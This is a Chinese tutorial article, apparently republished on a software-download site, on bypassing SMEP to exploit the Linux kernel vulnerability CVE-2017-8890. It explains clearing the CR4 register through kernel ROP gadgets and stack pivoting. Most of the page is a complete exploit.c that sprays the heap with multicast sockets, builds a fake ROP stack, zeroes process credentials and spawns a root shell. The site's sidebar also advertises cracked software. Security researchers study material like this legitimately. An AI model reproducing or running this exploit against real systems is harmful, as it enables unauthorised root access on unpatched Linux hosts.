ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全网络安全文章 → Linux内核提权CVE-2017-8890SMEP绕过

Linux内核提权CVE-2017-8890SMEP绕过

时间:2018-06-18 07:00:07人气:作者:本站作者我要评论

SMEP绕过

我们在qemu启动命令行中加入选项:

  1. -cpu kvm64,+smep

这将使得linux内核不能直接跳到用户空间执行shellcode。qemu启动后我们查看cpuinfo,可以看到smep已开启:
Linux内核提权CVE-2017-8890SMEP绕过

开启后我们再执行之前的exp:
Linux内核提权CVE-2017-8890SMEP绕过

我们可以看到由于SMEP拦截了用户空间shellode的执行,内核直接崩溃。绕过SMEP目前有几种方法:

  1. 1). 内核ROP覆盖CR4寄存器,关闭SMEP
  2. 2). 直接内核ROP执行shellcode
  3. 3). ret2dir,利用physmap执行shellcode

覆盖CR4寄存器,关闭SMEP

我们知道,内核SMEP/SMAP的实现需要底层CPU的支持,而CR4寄存器就是控制SMEP/SMAP开关的寄存器。CR4寄存器是X86 CPU的一个特殊的控制寄存器,控制了CPU很多特性的开启,其布局如下所示:
Linux内核提权CVE-2017-8890SMEP绕过

我们可以看到,CR4寄存器的第20位控制了SMEP的开启,第21位控制了SMAP的开启。因此,只要我们能够将CR4寄存器的第20位清零即可关闭内核的SMEP防护机制。我们从之前的内核崩溃中可以看到,CR4寄存器的值为0x1006f0,第20位为1,表示SMEP开启:
Linux内核提权CVE-2017-8890SMEP绕过

由于我们不能在用户空间执行shellcode,我们只能先通过内核ROP关闭SMEP,再跳转到用户空间的shellcode执行提权。因此,我们在漏洞触发劫持内核EIP后,需要跳转到执行关闭SMEP的ROP gadget。为了执行内核ROP,我们首先用ROPgadget工具dump出内核镜像的所有gadgets,方便查找:

  1. ROPgadget --binary vmlinux > ropgadget

查找覆盖CR4的gadget,最终选定如下两个gadgets来关闭SMEP:

  1. 0xffffffff810efbfd : pop rdi ; ret
  2. 0xffffffff810496b4 : mov cr4, rdi ; pop rbp ; ret

首先通过rdi寄存器布置参数,然后执行覆盖cr4寄存器的操作。

内核ROP链

上面我们提到需要通过两个内核ROP gadgets来执行关闭SMEP的操作,但是在执行这两个gadgets之前,我们还必须执行stack pivot等操作,构建ROP链来完成目标。首先,ROP的执行需要我们能够在内核堆栈上布置我们控制的数据,但是我们并不能控制内核堆栈,所以必须执行stack pivot,将内核堆栈指向我们控制的空间。我们使用以下gadget:

  1. 0xffffffff813b5122:    xchg eax, esp ; ret 0x4881

该gadget将eax寄存器和esp寄存器的值交换,而eax寄存器在劫持EIP时正好是可控的,因此可用于stack pivot,如下所示:
Linux内核提权CVE-2017-8890SMEP绕过

可以看到,eax寄存器的值正好是该gadget地址值的前4个字节,因此可以将esp劫持到0x813b5122地址,我们可以在该地址布置我们的ROP链.

执行完ROP链后我们关闭了SMEP,因此就可以跳转到用户空间的shellcode去执行提权代码了,这里的get_root函数地址就是我们在用户空间的提权shellcode。需要注意的是,在执行ROP前需要保存一些重要寄存器环境,在shellcode执行完后要恢复,防止内核处理出现异常。

Demo

综上,我们利用内核ROP绕过SMEP的exploit.c如下所示:

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <sys/select.h>
  4. #include <sys/socket.h>
  5. #include <arpa/inet.h>
  6. #include <netdb.h>
  7. #include <string.h>
  8. #include <unistd.h>
  9. #include <netinet/in.h>
  10. #include <fcntl.h>
  11. #include <time.h>
  12. #include <sys/types.h>
  13. #include <pthread.h>
  14. #include <net/if.h>
  15. #include <errno.h>
  16. #include <assert.h>
  17. #include <sys/mman.h>
  18. #include <sys/types.h>
  19. #define SPRAY_SIZE                 5000
  20. #define HELLO_WORLD_SERVER_PORT    8088
  21. #define Stack_Pivot_addr           0xffffffff813b5122    //  xchg eax, esp ; ret 0x4881
  22. #define Heap_Spray_Addr            0xcdab02ff
  23. unsigned long*  find_get_pid = (unsigned long*)0xffffffff81077220;
  24. unsigned long*  pid_task     = (unsigned long*)0xffffffff81077180;
  25. void *client(void *arg);
  26. void get_root();
  27. int pid=0;
  28. void get_root() {
  29.     asm(
  30.         "sub    $0x18,%rsp;"
  31.         "pushq  %rcx;"
  32.         "mov    pid,%edi;"
  33.         "callq  *find_get_pid;"
  34.         "mov    %rax,-0x8(%rbp);"
  35.         "mov    -0x8(%rbp),%rax;"
  36.         "mov    $0x0,%esi;"
  37.         "mov    %rax,%rdi;"
  38.         "callq  *pid_task;"
  39.         "mov    %rax,-0x10(%rbp);"
  40.         "mov    -0x10(%rbp),%rax;"
  41.         "mov    0x5f8(%rax),%rax;"
  42.         "mov    %rax,-0x18(%rbp);"
  43.         "mov    -0x18(%rbp),%rax;"
  44.         "add    $0x4,%rax;"
  45.         "movl   $0x0,(%rax);"
  46.         "mov    -0x18(%rbp),%rax;"
  47.         "add    $0x8,%rax;"
  48.         "movl   $0x0,(%rax);"
  49.         "mov    -0x18(%rbp),%rax;"
  50.         "add    $0xc,%rax;"
  51.         "movl   $0x0,(%rax);"
  52.         "mov    -0x18(%rbp),%rax;"
  53.         "add    $0x10,%rax;"
  54.         "movl   $0x0,(%rax);"
  55.         "mov    -0x18(%rbp),%rax;"
  56.         "add    $0x14,%rax;"
  57.         "movl   $0x0,(%rax);"
  58.         "mov    -0x18(%rbp),%rax;"
  59.         "add    $0x18,%rax;"
  60.         "movl   $0x0,(%rax);"
  61.         "mov    -0x18(%rbp),%rax;"
  62.         "add    $0x1c,%rax;"
  63.         "movl   $0x0,(%rax);"
  64.         "mov    -0x18(%rbp),%rax;"
  65.         "add    $0x20,%rax;"
  66.         "movl   $0x0,(%rax);"
  67.         "mov    $0xcdab1028,%rax; "
  68.         "movq   $0xffffffff81077220,(%rax); "
  69.         "popq   %rsp;"
  70.         "sub    $0x50, %rsp;"
  71.         "retq;"
  72.         );
  73. }
  74. int sockfd[SPRAY_SIZE];
  75. void spray_init() {
  76.     for(int i=0; i<SPRAY_SIZE; i++) {
  77.         if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {
  78.            perror("Socket");
  79.            exit(errno);
  80.          }
  81.     }
  82. }
  83. void heap_spray() {
  84.     struct sockaddr_in6 my_addr, their_addr;
  85.     unsigned int myport = 8000;
  86.     bzero(&my_addr, sizeof(my_addr));
  87.     my_addr.sin6_family = AF_INET6;
  88.     my_addr.sin6_port = htons(myport);
  89.     my_addr.sin6_addr = in6addr_any;
  90.     int opt =1;
  91.     struct  group_req group1 = {0};
  92.     struct sockaddr_in6 *psin1;
  93.     psin1 = (struct sockaddr_in6 *)&group1.gr_group;
  94.     psin1->sin6_family = AF_INET6;
  95.     psin1->sin6_port = 1234;
  96.     // cd ab 02 ff
  97.     inet_pton(AF_INET6, "ff02:abcd:0:0:0:0:0:1", &(psin1->sin6_addr));
  98.     for(int j=0; j<SPRAY_SIZE; j++) {
  99.         setsockopt(sockfd[j], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group1, sizeof (group1));
  100.     }
  101. }
  102. void *func_modify(void *arg){
  103.     unsigned long fix_addr = Heap_Spray_Addr + 8*5;
  104.     unsigned long func = Stack_Pivot_addr;
  105.     while(1) {
  106.         *(unsigned long *)(fix_addr) = func;
  107.     }
  108. }
  109. void exploit(){
  110.     struct sockaddr_in server_addr;
  111.     bzero(&server_addr,sizeof(server_addr));
  112.     server_addr.sin_family = AF_INET;
  113.     server_addr.sin_addr.s_addr = htons(INADDR_ANY);
  114.     server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
  115.     struct  group_req group = {0};
  116.     struct sockaddr_in *psin;
  117.     psin = (struct sockaddr_in *)&group.gr_group;
  118.     psin->sin_family = AF_INET;
  119.     psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
  120.     int server_socket = socket(PF_INET,SOCK_STREAM,0);
  121.     if( server_socket < 0){
  122.         printf("[Server]Create Socket Failed!");
  123.         exit(1);
  124.     }
  125.     int opt =1;
  126.     setsockopt(server_socket, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));
  127.     if( bind(server_socket,(struct sockaddr*)&server_addr,sizeof(server_addr))){
  128.         printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
  129.         exit(1);
  130.     }
  131.     if ( listen(server_socket, 10) ) {
  132.         printf("[Server]Server Listen Failed!");
  133.         exit(1);
  134.     }
  135.     pthread_t id_client;
  136.     pthread_create(&id_client,NULL,client,NULL);
  137.     spray_init();
  138.     struct sockaddr_in client_addr;
  139.     socklen_t length = sizeof(client_addr);
  140.     printf ("[Server]accept..... \n");
  141.     int new_server_socket = accept(server_socket,(struct sockaddr*)&client_addr,&length);
  142.     if ( new_server_socket < 0){
  143.         close(server_socket);
  144.         perror("[Server]Server Accept Failed!\n");
  145.         return;
  146.     }
  147.     unsigned long  fix_addr = Heap_Spray_Addr & 0xfffffffffffff000;
  148.     unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024*100, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -10);
  149.     if (addr == MAP_FAILED){
  150.         perror("Failed to mmap: ");
  151.         return;
  152.     }
  153.     addr = (unsigned long *)Heap_Spray_Addr;
  154.     unsigned long * addr1 = (unsigned long*)(fix_addr + 0x1000);
  155.     unsigned long func = (unsigned long)Stack_Pivot_addr;
  156.     addr[0] = (unsigned long)addr1;
  157.     addr[1] = 0x0a0a02e0;
  158.     addr[2] = 0x00000002;
  159.     addr[3] = 0x0;
  160.     addr[4] = 0x0;
  161.     addr[5] = (unsigned long)func;
  162.     addr1[0] = 0x0;
  163.     addr1[1] = 0x0a0a02e0;
  164.     addr1[2] = 0x00000002;
  165.     addr1[3] = 0x0;
  166.     addr1[4] = 0x0;
  167.     addr1[5] = 0x0;
  168.     unsigned long  fake_stack_fix = 0x813b5000;
  169.     unsigned long* fake_stack_addr = (unsigned long *)mmap((void*)fake_stack_fix, 1024*2048, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -10);
  170.     if (fake_stack_addr == MAP_FAILED){
  171.         perror("Failed to mmap: ");
  172.         return ;
  173.     }
  174.     memset(fake_stack_addr,0,1024*2048);
  175.     unsigned long fake_rsp = 0x813b5122 ;
  176.    *((unsigned long *)fake_rsp) = 0xffffffff8138b055;  //push rbp ; pop rcx ; ret 0xe881
  177.     unsigned long fake_rsp1 = fake_rsp + 0x4889;
  178.     *((unsigned long *)(fake_rsp1)) = 0xffffffff810efbfd;   // pop rdi ; ret
  179.     fake_rsp1  -= 0x1777;
  180.     *( (unsigned long*) (fake_rsp1)) = 0x06f0;    // CR4 
  181.     *( (unsigned long*) (fake_rsp1+ 8) ) = 0xffffffff810496b4;  //  mov cr4, rdi ; pop rbp ; ret
  182.     *( (unsigned long*) (fake_rsp1 + 16) ) = fake_rsp + 0x80;
  183.     *( (unsigned long*) (fake_rsp1 + 24)) =  (unsigned long)&get_root;
  184.     pthread_t id_func;
  185.     pthread_create(&id_func,NULL,func_modify,NULL);
  186.     printf ("[Server]close new_server_socket \n");
  187.     close(new_server_socket);
  188.     sleep(5);
  189.     heap_spray();
  190.     close(server_socket);
  191.     printf(" current uid is : %d \n", getuid());
  192.     printf(" current euid is : %d \n", geteuid());
  193.     system("/bin/sh");
  194. }
  195. void *client(void *arg){
  196.     struct sockaddr_in client_addr;
  197.     bzero(&client_addr,sizeof(client_addr));
  198.     client_addr.sin_family=AF_INET;
  199.     client_addr.sin_addr.s_addr=htons(INADDR_ANY);
  200.     client_addr.sin_port=htons(0);
  201.     int client_socket=socket(AF_INET,SOCK_STREAM,0);
  202.     if(client_socket<0){
  203.         printf("[Client]Create socket failed!\n");
  204.         exit(1);
  205.     }
  206.     if(bind(client_socket,(struct sockaddr*)&client_addr,sizeof(client_addr))){
  207.         printf("[Client] client bind port failed!\n");
  208.         exit(1);
  209.     }
  210.     struct sockaddr_in server_addr;
  211.     bzero(&server_addr,sizeof(server_addr));
  212.     server_addr.sin_family=AF_INET;
  213.     if(inet_aton("127.0.0.1",&server_addr.sin_addr)==0){
  214.         printf("[Client]Server IP Address error\n");
  215.         exit(0);
  216.     }
  217.     server_addr.sin_port=htons(HELLO_WORLD_SERVER_PORT);
  218.     socklen_t server_addr_length=sizeof(server_addr);
  219.     if(connect(client_socket,(struct sockaddr*)&server_addr,server_addr_length)<0){
  220.         printf("[Client]cannot connect to 127.0.0.1!\n");
  221.         exit(1);
  222.     }
  223.     printf("[Client]Close client socket\n");
  224.     close(client_socket);
  225.     return NULL;
  226. }
  227. int main(int argc,char* argv[]) {
  228.     printf("pid : %d\n", getpid());
  229.     pid = getpid();
  230.     exploit();
  231.     return 0;
  232. }

相关文章

猜你喜欢

  • Ougishi绿色版下载 V4.00 中文版

    2020-06-19 / 561k

  • 谷歌地图下载助手睿智版破解下载 V9.5绿色版

    2020-06-19 / 32.7M

  • OfficeFIX中文破解版V6.110 注册版

    2020-06-19 / 26.8M

  • Plotagraph破解版V1.2.0 免费版 32/64位

    2020-06-19 / 31.5M

  • IP查详细地址工具下载 V1.1 官方免费版

    2020-06-19 / 408K

  • 内存扫把中文版下载V1.97绿色版

    2020-06-19 / 1.3M

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 蜀ICP备19039426号-2| 蜀ICP备19039426号-2

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网